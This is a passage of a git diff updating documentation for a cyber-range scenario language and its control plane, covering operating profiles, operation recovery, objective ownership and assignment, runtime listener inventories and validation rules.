`FAILED` with -an explicit indeterminate-outcome diagnostic and never replays it; retaining -the idempotency claim prevents a retry from blindly repeating backend effects. +Startup classifies each orphaned non-terminal record without replay: a known +absent effect becomes `FAILED` or `CANCELLED`, a validated observed effect +becomes `SUCCEEDED`, and an outcome that cannot be established becomes +`INDETERMINATE`. Retaining the idempotency claim prevents a retry from blindly +repeating backend effects, and resolving an indeterminate outcome creates a +linked operation instead of rewriting the original. On first use, legacy JSON state is imported without deleting its source and is copied to a timestamped backup. Payload digests and SQLite integrity checks detect accidental durable-state corruption. Owned POSIX store directories are @@ -546,6 +583,12 @@ releases authority. Run one ASGI worker with reload disabled. This is a single-host reference boundary, not a distributed queue, replication, or multi-host availability claim. +The reference provider's operator procedures, including value-free health +probes, shutdown ordering, recovery classification, and lease-admitted local +store check/backup/restore commands, are documented in the +[Control-Plane Recovery Operations runbook](control-plane-operations.md). +Database restore does not establish equivalent external backend state. + Bearer and verified-proxy authentication require the same exact target binding. An identity with no target, and an explicitly supplied bearer that is unknown, revoked, or scoped to another target, is rejected; a rejected bearer never @@ -569,6 +612,76 @@ count, so an unauthenticated rejection flood cannot consume the default AnyIO workers required by authenticated reads; excess audit records are dropped with an operational warning. +## Control-plane operating profiles + +An embedder selects a profile explicitly through the typed +`raes_runtime.ControlPlaneProfile` API. `profile_declaration()` returns the +canonical immutable declaration for any of P0–P3, including the guarantees, +nonclaims, required capability identifiers, target/run scope, and actor +boundary. A selected profile fails construction if the store or composition +cannot supply its required facts; it never falls back to a weaker profile. +Existing callers that omit selection continue to work, but their compositions +make no named profile claim. + +| Profile | Guarantee identifiers | Nonclaim identifiers | +| --- | --- | --- | +| P0 | in-process-safety, actor-scoped-idempotency, target-run-isolation, revision-cas, atomic-audit | durability, restart-recovery, multi-owner, high-availability, multitenancy | +| P1 | in-process-safety, actor-scoped-idempotency, target-run-isolation, revision-cas, atomic-audit, durable-state, retained-idempotency, lease-admission, startup-reconciliation | multi-owner, high-availability, exactly-once-effects, multitenancy | +| P2 | in-process-safety, actor-scoped-idempotency, target-run-isolation, revision-cas, atomic-audit, durable-state, retained-idempotency, lease-admission, startup-reconciliation, authenticated-transport, actor-bound-disclosure, owner-serialized-mutation, revision-carrying-reads | multi-worker, tls-proxy-deployment, high-availability, exactly-once-effects, multitenancy | +| P3 | none | future-coordination | + +P0 uses an in-memory store for one target and one run, with an actor supplied +by the trusted embedding process. Its audit and idempotency guarantees last +only as long as that process. P1 uses a transactional local store, one +process-bound owner lease, revision checks, atomic terminal audit, and startup +classification of interrupted operations. A backend recovery observer is +optional: when an effect cannot be established, the operation becomes +`INDETERMINATE` without automatic replay. P2 is the reference HTTP adapter +over an explicitly selected P1 core. It derives the actor from authenticated +HTTP identity and keeps P1's one-target, one-run scope. A bare core cannot +claim P2, and P3 is inspectable but unavailable pending a future coordination +decision. + +For an in-process P0 composition, pass `profile=ControlPlaneProfile.P0` to +`RuntimeControlPlane`. For a durable local P1 composition, pass a +`LocalControlPlaneStore` and `profile=ControlPlaneProfile.P1`; construction +admits its owner lease. To serve that +core, pass `profile=ControlPlaneProfile.P2` to `create_control_plane_app()`; +the app exposes the same canonical declaration to its embedder through +`app.state.control_plane_profile`. Store providers declare facts through +`ControlPlaneStoreCapabilities`; they do not name or choose a profile. + +The library owns operation bookkeeping, receipts, snapshots, participant +transitions, audit, and profile admission. The embedding application owns its +target/run selection, process lifecycle, actor source for P0/P1, and upgrade +sequence. P2 deployment owns TLS termination, trusted-proxy header stripping, +secret loading, worker configuration, service credentials, process supervision, +and backup policy. Profile metadata is in-process discovery, not a health +signal, HTTP discovery endpoint, availability promise, or tenant-multiplexing +contract. + +Participant clients access a trusted host application, which may embed P0/P1 +as an SDK or use the optional P2 HTTP adapter. The host keeps the SDK +control-plane object or P2 identity private and binds each caller to one +target/run, participant, exact episode, audience and operation before releasing +a governed API-408 view. SDK calls have no HTTP role gate; a P2 identity with +read access to participant views can also read the full snapshot. Neither +path authenticates the host's end user or turns a legacy view without a +configured crossing resolver into governed participant output. An +organizational host owns organizational identity and policy; a local host +applies its own caller boundary. The accepted +[route and deployment boundary](../../decisions/issue-1356-control-plane-participant-access-preflight.md) +also covers operation readback, histories, errors, caches and events. + +Every served P2 route declares exactly one transport authority: public probe, +administrative read, administrative mutation or operator resolution. +`create_control_plane_app()` refuses a route with none or several, and exposes +the `(method, path)` inventory as `app.state.control_plane_route_authority`. +Participant, audience, controller and operation-actor checks follow in the +core. Every response carries `Cache-Control: no-store`. The +[deployment guide](../../public/guides/control-plane.md) covers the host's +duties. + ## Current Scope The current runtime scope includes: @@ -584,3 +697,13 @@ The current runtime scope includes: Real Docker/cloud/simulation backends are outside this repository's current implementation surface. Such backends would have to consume and satisfy these contracts. + +## Optional backend operation contracts + +The [operation-supervision family](../../../specs/formal/runtime-contracts/backend-operation-supervision.md) +publishes the portable backend boundary for the accepted supervision design. +It separates capability, willingness, acknowledgement, progress, control +dispositions and scoped effect evidence. RAE retains native result validation +and atomic terminal publication. The [migration guide](../reference/backend-operation-supervision.md) +explains the additive profile and the limits of legacy conversions. These +contracts do not enable a new RuntimeTarget provider or change P0–P3 guarantees. diff --git a/docs/explain/sdl/sections.md b/docs/explain/sdl/sections.md index fb83e8629..67b60941b 100644 --- a/docs/explain/sdl/sections.md +++ b/docs/explain/sdl/sections.md @@ -35,7 +35,7 @@ plane (ADR-055/064/069). Declarative `conditions` remain. | `conditions` | `dict[str, Condition]` | Declarative health/readiness checks (command+interval or library source) | | `entities` | `dict[str, Entity]` | Teams, organizations, people (recursive, with exercise roles) | | `injects` | `dict[str, Inject]` | Actions between entities during exercises | -| `events` | `dict[str, Event]` | Triggered actions combining conditions + injects | +| `events` | `dict[str, Event]` | Triggered actions combining precondition assertions and injects | | `scripts` | `dict[str, Script]` | Timed event sequences with human-readable durations | | `stories` | `dict[str, Story]` | Top-level exercise orchestration grouping scripts | @@ -54,7 +54,7 @@ plane (ADR-055/064/069). Declarative `conditions` remain. | `outcome_interpretation_rules` | `dict[str, OutcomeInterpretationRule]` | Rules connecting action observations and evidence to scenario-local outcomes | RAES participant model | | `behavior_specifications` | `dict[str, ParticipantBehaviorSpecification]` | Versioned aggregates over participant action, observation, outcome, authority, and mode surfaces | RAES ACT-606 | | `evidence_requirements` | `dict[str, EvidenceRequirement]` | Portable authored capture obligations, distinct from captured evidence | RAES DSL-124, ADR-066 | -| `objectives` | `dict[str, Objective]` | Scenario-local objectives binding actors, targets, windows, and success (against observable `conditions`); not EXP task records | CACAO action/target/agent | +| `objectives` | `dict[str, Objective]` | Scenario-local ownership, assignment, action constraints, targets, windows, and success assertions; not EXP task records | CACAO action/target/agent | | `workflows` | `dict[str, Workflow]` | Branching and parallel control graphs over declared objectives | CACAO workflow graph patterns; semantics tightened using Step Functions / Argo / SCXML style control-flow rules | | `variables` | `dict[str, Variable]` | Parameterization (types, defaults, substitution) | CACAO playbook_variables | | `variation_points` | `dict[str, VariationPoint]` | Named bounded scenario-family domains and typed targets | RAES ADR-084 | @@ -919,11 +919,16 @@ and advisory snapshot state likewise belong in evidence. Derived severity counts belong in `ExperimentDerivedMeasureModel`; they do not automatically become native weakness facts. Authored classifications use standalone external concept bindings. -`runtime.service_manager_units` records observed service-manager unit -lifecycle state — what `systemctl` exposes from inside a realized range node. -Each entry carries a stable RAES `unit_id`, a `manager_kind` (initially -`systemd`, with `other` reserved), the native `unit_name` such as -`sshd.service`, a `unit_type` (`service`/`socket`/`target`/`timer`/`path`/ +`runtime.service_manager_units` records portable unit identity plus selected +service-manager state. Each entry carries a stable RAES `unit_id`, used as the +key for comparison, and may carry a governed `manager_kind` and an exact native +`unit_name`. Native names are preserved without normalization or a fabricated +suffix, so OpenRC or private names such as `nginx` remain valid. Omitted +manager/name leaves preserve partial knowledge and inherited open-scope +delegation; explicit `unknown` is a knowledge state, not delegation. + +An explicitly selected `systemd` manager enables the existing lifecycle +profile: a suffixed native name, `unit_type` (`service`/`socket`/`target`/`timer`/`path`/ `mount`/`automount`/`swap`/`device`/`slice`/`scope`/`other`), and the participant-observable state quadruple `load_state` (loaded/not_found/masked/ error/merged/stub/bad_setting/unknown), `active_state` (active/reloading/ @@ -940,7 +945,10 @@ a redactable `exec_start` (`command_kind` `absolute_path` / `redacted`, with `command_redacted` forcing an empty `command`). An optional `service` ref pointing at the same-node `Node.services[].name` (bare or `nodes..services.`) ties a unit to the transport service it -launches. This surface is observed WHAT-IS lifecycle state: it is not +launches. Private manager identity does not authorize use of the systemd state +fields; richer non-systemd state requires an exact admitted domain profile. +The historical omitted-manager default remains readable, but does not become +authored systemd intent. This surface is observed WHAT-IS state: it is not `Node.services` (transport bindings), not `conditions` (authored monitoring/readiness intent), not `runtime.processes` (live processes — a failed, disabled, static, or active/exited unit may have no live process), @@ -995,16 +1003,20 @@ participate in relationships, generic reference validation, and module import rewriting (see [ADR-042](../../decisions/adrs/adr-042-network-sensor-runtime-monitoring.md)). -`runtime.service_listeners` records observed in-node listener bind state: -stable listener id, transport protocol, port or Unix socket path, bind address -or interface, address family, listener scope, optional same-node service ref, -optional process owner ref/name, readiness evidence, provenance, evidence refs, -and optional typed correlations to `runtime.network.published_ports`. It is +`runtime.service_listeners` records known in-node listener facts. A stable +listener id is required; transport protocol, port or Unix socket path, bind +address or interface, address family, listener scope, optional same-node +service ref, optional process owner ref/name, readiness evidence, provenance, +evidence refs, and typed correlations to `runtime.network.published_ports` may +be supplied independently. Missing endpoint facts remain missing and must be +completed or rejected by a backend operation that requires an admitted +endpoint. The surface is distinct from `Node.services` (authored service identity), from `runtime.network.published_ports` (host publication), and from protocol-specific runtime inventories such as HTTP applications, DNS, mail, and database services. A wildcard address such as `0.0.0.0` or `::` is a wildcard -inside the node namespace; host exposure remains a published-port fact. Fully +inside the node namespace; a partial or wildcard description grants no access, +and host exposure remains a published-port fact. Fully qualified refs such as `nodes.web.runtime.service_listeners.gunicorn-http-ipv4` participate in relationships, generic reference validation, and module import rewriting (see @@ -1593,12 +1605,20 @@ Nested entities are referenced via dot-notation: `blue-team.alice`. ## Orchestration: Injects, Events, Scripts, Stories +Entity endpoints are optional but must be paired when present; they do not +declare participants or select physical execution targets. Ordinary injects +and events need no participant or script/story. The accepted +[external-trigger semantics](../../../specs/sdl/external-injects.md) bind fresh +occurrences to admitted realizations and outcome evidence. They preserve this +authoring syntax and distinguish world effects from optional participant +delivery; see the [worked cases](external-inject-cases.md). + ```yaml injects: phishing-email: source: phishing-pkg - from-entity: red-team - to-entities: [blue-team] + from_entity: red-team + to_entities: [blue-team] events: attack-wave: @@ -1607,8 +1627,8 @@ events: scripts: main-timeline: - start-time: 5 min # OCR units: y, mon, w, d, h, m/min, s/sec, ms, us, ns - end-time: 2 hour + start_time: 5 min # OCR units: y, mon, w, d, h, m/min, s/sec, ms, us, ns + end_time: 2 hour speed: 1.0 events: attack-wave: 30 min @@ -1821,6 +1841,34 @@ never inferred from the SPN or node operating system. See the Typed directed edges between any named scenario elements. Adapted from STIX Relationship SROs. +Participant relationships use `type: participant` with a typed `participant` +detail. The kinds are `coordination`, `delegation`, `cooperation`, `competition` +and `supervision`. Both endpoints name distinct agents. A sparse declaration +is complete at its declared abstraction: + +```yaml +entities: + researchers: {} +agents: + lead: {entity: researchers} + peer: {entity: researchers} +relationships: + shared-work: + type: participant + source: agents.lead + target: agents.peer + participant: {kind: cooperation} +``` + +Optional action, objective, behavior, authority, scope and observation references +refine the declaration and are checked when supplied. Delegation and supervision +can also reference an existing mixed-control specification. A relationship +does not grant permissions, trigger a control handoff, disclose observations, +or request evidence collection. Reciprocal relationships require explicit +edges. See the {download}`participant relationship specification +<../../../specs/sdl/participant-relationships.md>` for refinement rules and the +boundary between declared intent and runtime occurrences. + ```yaml relationships: exchange-auth: @@ -1899,7 +1947,8 @@ operating scope. ```yaml agents: red-agent: - entity: red-team # identity + role (via entities.role) + affiliations: [red-team] # optional organization, not identity + role: red # optional direct role override actions: [Scan, Exploit, Escalate] starting_accounts: [phished-user] # references accounts section starting_assertions: [beacon-online-before-start] # precondition assertion @@ -1928,9 +1977,14 @@ an unbound free-text label that named a reward class running outside participant perception. Reward now lives in the experiment/evaluator plane (ADR-055/064/069), not as an authored SDL agent field. -`entity` is required and must resolve to the `entities` section; the -participant's authored identity and role both come from this binding (per -ADR-020). `initial_knowledge.hosts` references compute node names, `subnets` +The `agents` map key is participant identity. `affiliations` is optional and +references distinct flattened `entities` names; shared affiliation never merges +participants. One declaration may denote a composite autonomous subject without +listing components. Direct `role` wins; otherwise exactly one affiliation may +supply its entity role. Zero or multiple affiliations supply no inherited role. +See [ADR-109](../../decisions/adrs/adr-109-participant-identity-and-objective-assignment.md) +and the [migration guide](../../migration/participant-identity.md). +`initial_knowledge.hosts` references compute node names, `subnets` references switch-backed infrastructure names, `services` references service names declared in `nodes.*.services`, and `accounts` references entries in the `accounts` section. `allowed_subnets` follows the same switch-backed @@ -2236,7 +2290,7 @@ from the authored requirement. ## Objectives -Declarative experiment semantics that bind actors, targets, timing, and success +Declarative experiment semantics that bind ownership, assignment, targets, timing, and success criteria in the same SDL. Objective success composes invariant or postcondition assertions over backend-neutral propositions ([ADR-079](../../decisions/adrs/adr-079-backend-neutral-proposition-and-truth-semantics.md)). @@ -2244,8 +2298,9 @@ assertions over backend-neutral propositions ```yaml objectives: red-initial-access: - agent: red-agent # or: entity: red-team - actions: [Scan, Exploit] # should be declared on the agent + owner: red-team # organizational responsibility + assigned_participant: red-agent # explicit pursuit assignment + actions: [Scan, Exploit] # global contracts, also available to assignee targets: # any named scenario elements except variables/objectives/workflows - web-server - app-to-db @@ -2262,13 +2317,18 @@ objectives: steps: [release-response.validate-release] blue-reporting: - entity: blue-team + owner: blue-team # valid without a participant assignment success: assertions: [web-alive-at-completion] depends_on: [red-initial-access] ``` -Every objective must declare exactly one actor: either `agent` or `entity`. +Every objective must declare `owner`, `assigned_participant`, or both. Ownership +references an entity; assignment references a participant key. Neither identifies +who actually acted or implies a beneficiary. Every `actions` entry must name a +declared action contract, including on unassigned objectives. When assigned, +the actions must also be available to that participant. Shared affiliation never +assigns an objective; unassigned organizational intent creates no runtime work. `success` is required and must reference at least one declared invariant or postcondition assertion. `targets` are optional, but when present they must resolve to named scenario elements. Bare target refs work when unambiguous; diff --git a/docs/explain/sdl/testing.md b/docs/explain/sdl/testing.md index 414619028..4d605a640 100644 --- a/docs/explain/sdl/testing.md +++ b/docs/explain/sdl/testing.md @@ -103,8 +103,8 @@ cd implementations/python && uv run --extra dev pytest tests/ -m '' -v The `examples/scenarios/` directory contains curated large SDL files that are meant to be reusable starting points rather than inline test-only fixtures. They are loaded directly from disk by -`implementations/python/tests/test_scenarios.py` -so they stay valid as real SDL artifacts: +`implementations/python/tests/test_example_schema_conformance.py` +so they stay valid, advisory-free SDL artifacts: - `hospital-ransomware-surgery-day.sdl.yaml` - `satcom-release-poisoning.sdl.yaml` @@ -114,7 +114,9 @@ so they stay valid as real SDL artifacts: two independent legs: strict `sdl-yaml/v1` decoding followed by direct validation of the decoded longhand object against the checked-in normalized authoring schema, and reference-parser model serialization against that same -schema. The valid/invalid/migration source-profile corpus lives under +schema. `test_scenarios.py` retains loader failure cases and focused assertions +about the curated complex examples. The valid/invalid/migration source-profile +corpus lives under `contracts/fixtures/sdl/sdl-yaml-v1/`. The up-front design briefs for the complex examples live in @@ -139,7 +141,7 @@ Use the corpus leg that matches the artifact's purpose: - **Reusable example scenarios** live in `examples/scenarios/*.sdl.yaml`. They are real SDL artifacts and are loaded from disk by - `implementations/python/tests/test_scenarios.py`. + `implementations/python/tests/test_example_schema_conformance.py`. - **Synthetic stress and real-world topology fixtures** may stay inline in `test_sdl_stress.py` or `test_sdl_realworld.py` when they are test-only specimens rather than reusable examples. Add them to the relevant `SCENARIOS` diff --git a/docs/explain/sdl/validation.md b/docs/explain/sdl/validation.md index fea601162..a1163cd32 100644 --- a/docs/explain/sdl/validation.md +++ b/docs/explain/sdl/validation.md @@ -27,8 +27,8 @@ RAES validators and is not claimed compatible with the OCR implementation. | `verify_features` | Dependency references exist. **Dependency cycle detection** via topological sort. | | `verify_conditions` | (Structural: command+interval XOR source — enforced by Pydantic) | | `verify_entities` | Event references on entities (including nested) exist. | -| `verify_injects` | from-entity and to-entities reference existing (possibly nested) entities. | -| `verify_events` | Condition and inject references exist. | +| `verify_injects` | Paired `from_entity` and `to_entities`, when supplied, reference existing (possibly nested) entities. | +| `verify_events` | Precondition assertion and inject references resolve. | | `verify_scripts` | Event references exist. Event times within script start/end bounds. | | `verify_stories` | Script references exist. | | `verify_roles` | Entity references in node roles resolve to flattened entity names. | @@ -38,7 +38,9 @@ The former scoring-pipeline passes (`verify_metrics`, `verify_evaluations`, check) were removed with the `metrics`/`evaluations`/`tlos`/`goals` sections by [ADR-073](../../decisions/adrs/adr-073-scoring-reward-language-scope.md). There is no longer a "references undefined metric/evaluation/TLO/goal" validation error; -`conditions` remain the observable-state surface objective success references. +`conditions` declare executable probes, while objective success references +invariant/postcondition assertions over propositions. Event preconditions use +precondition assertions; declaring a probe does not establish its truth. ### Extension passes @@ -55,23 +57,23 @@ validation passes. See the [migration guide](../../migration/external-classifica | `verify_relationship_forwarding_edges` | A relationship `forwarding_edge` resolves `forwarder_ref` to a unique node-hosted or scenario-level runtime forwarding agent; the edge `target_listener_role`/`protocol` must agree with at least one of that agent's ship targets. | | `verify_relationship_service_integrations` | A relationship `service_integration` resolves `consumer_ref`/`engine_ref` to platform applications and `auth_principal_ref` to a principal in the engine application's referenced authorization store when `authorization_ref` is set. | | `verify_relationship_proxy_upstreams` | A relationship `proxy_upstream` resolves `route_ref` to an application route and the upstream node/service refs; route-level `upstream_target` refs resolve the same way, and when both scopes carry shared target node, target service, and TLS-termination facts they must agree. | -| `verify_runtime_service_listeners` | Runtime service listeners resolve optional same-node service refs, process refs, and host-published port correlations. Concrete service/listener port+protocol values must match. | +| `verify_runtime_service_listeners` | Runtime service listeners resolve optional same-node service refs, process refs, and host-published port correlations. Supplied concrete service/listener port or protocol values must match; missing and open values defer agreement. | | `verify_runtime_identity_authorities` | Runtime identity-authority services resolve to same-node service bindings. Local relationship and policy refs resolve within the owning authority across authority, service, subject, policy, and relationship stable ids. | | `verify_runtime_dns_services` | Runtime DNS services resolve to same-node service bindings. Configuration, log, and zone-file refs resolve to observed runtime filesystem entries when the node has file inventory. | | `verify_runtime_network_sensors` | Runtime network sensors name monitored networks that resolve to switch-backed infrastructure entries and, when runtime endpoint inventory exists on the node, to same-node network endpoint attachments. Configuration, log, and evidence refs resolve to observed runtime filesystem entries when the node has file inventory. | | `verify_runtime_network_detection_engines` | Runtime network detection engines resolve optional same-node sensor refs, network-set refs, control-channel service refs, and filesystem-backed configuration/log/evidence/rule/output/control paths. | | `verify_runtime_security_monitoring_managers` | Runtime security-monitoring managers and listeners resolve to same-node service bindings. Manager/group/content/detection/setting file refs resolve to observed runtime filesystem entries when the node has file inventory. Agent group member refs, agent group refs, setting component refs, detection content-set refs, and detection correlation refs resolve inside the owning manager. Detection source artifact refs and target refs resolve through the generic named-ref index. | | `verify_runtime_app_authorizations` | Runtime application-internal RBAC stores resolve `permission_grants` and `role_mappings` `role_ref` values to roles declared within the same authorization (authorization-local role-permission and user-role assignment integrity). | -| `verify_runtime_datastore_services` | Runtime datastore services resolve their owning transport `service` to a same-node service binding, and a non-empty, non-variable `authorization_ref` to an `app_authorization` declared on the same node. The model-local `require_profile_for_data_model` guard fails an under-populated `search_index`/`wide_column`/`key_value` instance. | +| `verify_runtime_datastore_services` | Runtime datastore services resolve a supplied owning transport `service` to a same-node service binding, and a non-empty, non-variable `authorization_ref` to an `app_authorization` declared on the same node. Partial descriptions are valid; supplied partition contradictions, identities and manifest references remain checked. | | `verify_runtime_platform_applications` | Runtime platform applications resolve their owning transport `service` to a same-node service binding, a non-empty, non-variable `authorization_ref` to a same-node `app_authorization`, legacy content-object `references` to sibling `content_object_id` values, and `marking_refs` to sibling `marking_id` values. Provider-neutral capabilities are independently declared, carry stable application-local ids, and may be targeted by qualified refs; neither the deprecated `platform_kind` nor legacy content presence implies a capability or configuration completeness. | -| `verify_runtime_forwarding_agents` | Runtime forwarding agents resolve each `ship_target`'s `target_node_ref`, when concrete, to a defined node, and a concrete `target_service_ref` to a service on the referenced node (or, for node-hosted agents only, on the owning node). Scenario-level forwarding agents require `target_node_ref` when `target_service_ref` is concrete, and `forwarding_agent_id` values are unique across node-hosted and scenario-level registries. The model-local `require_profile_for_agent_kind` guard fails an under-populated `log_forwarder` (requires a `buffer_policy` plus an ingestion `ship_target`, rejects `ioc_to_rule` transforms) or `content_sync` (requires an `api_pull` source, an `ioc_to_rule` transform, and a `reload_channel`, rejects a `buffer_policy` and `ship_target` enrollment endpoints) instance. | -| `verify_runtime_orchestration_authorities` | Runtime orchestration authorities resolve a non-empty, non-variable `control_interface_ref` to a `RuntimeControlInterface` declared in the same node's `runtime.local_control_interfaces` (by `control_interface_id`); for a `host_root_equivalent` privilege class the referenced interface must additionally be a read-write docker socket (access `read_write`, kind `unix_socket`, path ending in `docker.sock`), with `${var}` interface access/kind/path permissive. The model-local `require_profile_for_privilege_class` guard fails a `host_root_equivalent` authority that carries no concrete `control_interface_ref`. | +| `verify_runtime_forwarding_agents` | Runtime forwarding agents resolve each `ship_target`'s `target_node_ref`, when concrete, to a defined node, and a concrete `target_service_ref` to a service on the referenced node (or, for node-hosted agents only, on the owning node). Scenario-level forwarding agents require `target_node_ref` when `target_service_ref` is concrete, and `forwarding_agent_id` values are unique across node-hosted and scenario-level registries. Kind does not require an IOC/reload or buffering recipe; partial and composed pipelines remain valid. | +| `verify_runtime_orchestration_authorities` | Runtime orchestration authorities resolve a non-empty, non-variable `control_interface_ref` to a `RuntimeControlInterface` declared in the same node's `runtime.local_control_interfaces` (by `control_interface_id`). Omitted interface knowledge is valid. A privilege class or Docker-socket filename does not establish effective authority; selected operations require independent support, prerequisites and authorization. | | `verify_runtime_mail_services` | Runtime mail services and listeners resolve optional same-node `Node.services` refs. Listener component refs, mailbox domain/store refs, alias target refs, routing source/target refs, and setting component refs resolve inside the owning mail service. Mailbox account refs resolve to top-level accounts, local-user refs resolve to `runtime.local_identity` when present, and setting source paths resolve to observed runtime filesystem entries when the node has file inventory. | | `verify_relationship_mail_access` | A relationship with `mail_access` must target a runtime mail service. Concrete `listener_ref`, `mailbox_ref`, and `domain_ref` values resolve within that target service, while protocol, auth-mechanism, and TLS-mode fields are structurally normalized by the `RelationshipMailAccess` model. | | `verify_agents` | Entity references resolve. Starting accounts and initial-knowledge accounts exist in accounts section. Allowed subnets and initial-knowledge subnets must resolve to switch-backed infrastructure entries. Initial-knowledge hosts must resolve to compute nodes. Initial-knowledge services exist in `nodes.*.services[].name`. Interactive-access targets resolve to compute nodes; optional accounts resolve to the same compute node and participant starting accounts; concrete target/channel pairs are unique per participant. | | `verify_participant_behavior` | Agent action refs resolve to declared action contracts, observation-boundary refs resolve to declared boundaries, interaction refs resolve to declared actions or targetable state, and boundary view rules/transitions resolve to declared observable, hidden, or evidence refs. | -| `verify_objectives` | Objective actors resolve (`agent` or `entity`). Objective actions must be declared by the referenced agent. Targets resolve to named scenario elements, including qualified service/ACL refs and section-qualified top-level refs. Ambiguous bare refs are rejected with qualified alternatives. Success criteria resolve to declared `conditions` (observable state only, per [ADR-073](../../decisions/adrs/adr-073-scoring-reward-language-scope.md)). Optional windows resolve through one shared normalized analysis over stories/scripts/events/workflows/workflow-steps, must remain internally consistent, and fail closed on dangling or out-of-window refs. Objective dependencies must resolve and stay acyclic. | -| `verify_workflows` | Workflow `start` and every referenced step must exist. `objective`/`retry` steps must reference declared objectives. Predicate refs must resolve to declared `conditions`/`objectives` (the scoring surfaces were removed per [ADR-073](../../decisions/adrs/adr-073-scoring-reward-language-scope.md)), and step-state refs must resolve to prior executable steps whose state is guaranteed to be known before the predicate runs. Workflow graphs must be acyclic and fully reachable from `start`. Parallel joins must be explicit barriers, every explicit branch path must converge on the declared join, branch-local state remains scoped until the join, and post-join predicates may inspect only branch steps guaranteed on every path within their branch before the join. | +| `verify_objectives` | Independent `owner` (entity) and `assigned_participant` (agent) references resolve, with at least one required. Actions always resolve to global action contracts and, when assigned, must also be available to that participant. Targets resolve to named scenario elements, including qualified service/ACL refs and section-qualified top-level refs. Ambiguous bare refs are rejected with qualified alternatives. Success criteria resolve to declared invariant/postcondition assertions. Optional windows share normalized analysis over stories/scripts/events/workflows/workflow-steps and fail closed on dangling or out-of-window refs. Objective dependencies must resolve and stay acyclic. | +| `verify_workflows` | Workflow `start` and every referenced step must exist. `objective`/`retry` steps must reference declared objectives. Predicate refs must resolve to declared precondition `assertions`/`objectives` (the scoring surfaces were removed per [ADR-073](../../decisions/adrs/adr-073-scoring-reward-language-scope.md)), and step-state refs must resolve to prior executable steps whose state is guaranteed to be known before the predicate runs. Workflow graphs must be acyclic and fully reachable from `start`. Parallel joins must be explicit barriers, every explicit branch path must converge on the declared join, branch-local state remains scoped until the join, and post-join predicates may inspect only branch steps guaranteed on every path within their branch before the join. | | `verify_participant_outcomes` | Outcome interpretation source and target refs resolve for action contracts, objectives, and workflows. The SEM-215 `reward_signal` / `evaluation_result` interpretation layers remain a governed interpretation relation but no longer bind to any SDL `evaluations` section ([ADR-073](../../decisions/adrs/adr-073-scoring-reward-language-scope.md)); runtime conformance grounds emitted interpretation records in action results, event evidence, and participant episode history. | | `verify_variables` | Checks that full-value `${var}` placeholders and embedded `${var}` tokens reference declared variables. Structural validation of variable declaration names, typed defaults, and `allowed_values` still happens in the model/schema layer. | @@ -157,18 +159,35 @@ when that inventory is non-empty. The optional `runtime.service_listeners` inventory has model-local and semantic rules. Listener ids are stable concrete symbols and are unique within -a node runtime block. Network listeners require a port and a bind address or -interface; Unix socket listeners require `socket_path` and must not set a port -or address. Concrete address-family and scope fields must not contradict the -bind endpoint: wildcard addresses use `scope: wildcard`, loopback addresses -cannot be `network_facing`, non-loopback IP addresses cannot be -`loopback_only`, and Unix socket listeners use `local_socket` or `unknown`. -Optional same-node `service` refs must resolve to `Node.services[].name`, and -concrete listener port/protocol values must match the service. Optional -`process_ref` values resolve to `runtime.process` or `runtime.processes` by -process name or PID. Optional `published_port_refs` entries resolve to +a node runtime block. A listener is a partial description: only +`service_listener_id` is universally required, and omitted address, interface, +port, protocol, or socket path remains omitted. The legacy authored-model +protocol default is still `tcp`, but source rendering omits it when the author +did not supply it and instantiation provenance does not promote that default to +an exact claim. Known network transports must not set `socket_path`; a known +Unix transport must not set port, address, or bind interface. An undetermined +transport may carry either kind of endpoint fact but not both. Concrete +address-family and scope fields must not contradict supplied facts: wildcard +addresses use `scope: wildcard`, loopback addresses cannot be +`network_facing`, non-loopback IP addresses cannot be `loopback_only`, and +Unix socket listeners use `local_socket` or `unknown`. + +Optional same-node `service` refs must resolve to `Node.services[].name`. +Supplied concrete listener port and protocol values must independently match +the service; missing, variable, `unknown`, and `other` values defer only their +own comparison. Optional `process_ref` values resolve to `runtime.process` or +`runtime.processes` by process name or PID. Every optional +`published_port_refs` entry still resolves to `runtime.network.published_ports` by host IP, host port, container port, and -protocol and must match the listener's container-side port/protocol. +protocol, and each supplied concrete listener field must agree with the +reference. + +Partial model admission is not endpoint admission. A backend operation or +complete-report assessment that claims a usable listener must reject a +selection without the endpoint facts that operation requires. Merely recording +a partial listener does not create a `Node.services` entry, host publication, +ACL authorization, observation, evidence requirement, retention obligation, or +export permission. The optional `runtime.mail_services` inventory has model-local and semantic rules. Mail-service ids are stable concrete symbols and unique within a node @@ -277,14 +296,11 @@ bounds normalize human sizes to bytes and a concrete `heap_init_bytes` must not exceed a concrete `heap_max_bytes`; node-endpoint ports are validated to the 1-65535 range with address and port kept split. Explicit redacted/operator-secret setting classifications omit raw values; names -alone do not force omission. The `require_profile_for_data_model` guard makes the -discriminator executable: a `${var}` placeholder is exempt and the open -`unknown`/`other`/`relational` tail is permissive, but a concrete `search_index` -requires at least one `index` partition carrying shard/replica geometry and at -least one structured mapping manifest, a `wide_column` store requires at least -one `keyspace` partition with a replication strategy and factor, and a -`key_value` store requires a `persistence` profile and rejects -relational/wide-column partitions. Mapping `partition_ref` values resolve to +alone do not force omission. A `search_index`, `wide_column` or `key_value` +description may omit geometry, mappings, replication or persistence. These are +optional known facts, not a family-level completeness threshold. A supplied +`key_value` declaration still rejects incompatible keyspace/column-family +partitions. Mapping `partition_ref` values resolve to sibling datastore partitions, and template `mapping_ref` values resolve to sibling mapping manifests. Raw mapping/template response bodies are not model data; bounded manifests carry counts, summaries, digests, and evidence refs. @@ -319,15 +335,11 @@ buffer crypto, reload-channel kinds, enrollment classifications, and setting provenance/classification are normalized from bounded enums while allowing full-value variables. A ship-target enrollment identity is never recorded — only the closed `none`/`redacted`/`operator_secret` lattice — and explicit -redacted/operator-secret setting classifications omit raw values. The -`require_profile_for_agent_kind` -guard makes the `agent_kind` discriminator executable: a `${var}` placeholder is -exempt and the open `unknown`/`other` tail is permissive, but a concrete -`log_forwarder` requires a `buffer_policy` and at least one `ship_target` carrying -an ingestion endpoint and rejects any `ioc_to_rule` transform, while a concrete -`content_sync` requires at least one `api_pull` source, one `ioc_to_rule` -transform, and one `reload_channel`, and rejects a `buffer_policy` and any -`ship_target` enrollment endpoint. At scenario scope, a ship-target +redacted/operator-secret setting classifications omit raw values. A concrete +`log_forwarder` or `content_sync` kind does not require a particular set of +sources, transforms, buffers, enrollment endpoints or reload channels. Partial +descriptions and composed pipelines remain valid; selected operations enforce +their actual prerequisites at admission. At scenario scope, a ship-target `target_node_ref` resolves to a defined node and a `target_service_ref` resolves to a service on the referenced node (or, for node-hosted agents only, on the owning node). Scenario-level agents have no owning node, so a concrete service @@ 